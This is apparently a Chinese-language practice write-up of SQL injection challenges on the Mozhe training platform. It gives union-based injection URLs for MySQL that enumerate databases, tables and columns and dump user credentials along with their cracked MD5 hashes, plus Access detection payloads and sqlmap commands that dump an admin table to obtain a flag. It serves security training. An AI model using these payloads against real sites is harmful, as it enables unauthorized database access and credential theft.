这段时间联系一下SQL注入:墨者SQL手工注入专题
数据库:MySQL
MySQL的很简单
1,查字段数http://mozhe.cn/new_list.php?id=0 order by 5 时报错,说明字段有5个
2,查数据库http://mozhe.cn/new_list.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。
3,查表http://mozhe.cn/new_list.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1
数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。
4,查字段http://mozhe.cn/new_list.php?id=0 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1
数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。
5,查类容http://mozhe.cn/new_list.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
查到两个数据:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad
MD5:
dsan13
392969
登录第二个账号得到key
数据库:Access
access数据库没有索引语句只能猜解。
判断数据库方法:
and (select count(*) from msysobjects)>0(返回权限不足 access数据库)
and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)
直接用sqlmap跑:
默认回车,线程设置10.
跑出来两个表:python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" --tables爆字段
python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin --columns
这里猜解到username和passwd这两个字段,很有可能用户名和密码存放在这个两个字段中
读取username和passwd字段中的数据python sqlmap.py -u "http://219.153.49.228:40259/new_list.asp?id=1" --data="id=1" -T admin -C username,passwd --dumpmd5解密得到密码
登录得到flag
记录个讲的很好的教程:sqlmap注入access数据库
SQL Server
https://blog.csdn.net/qq_42357070/article/details/81239721
这题道很难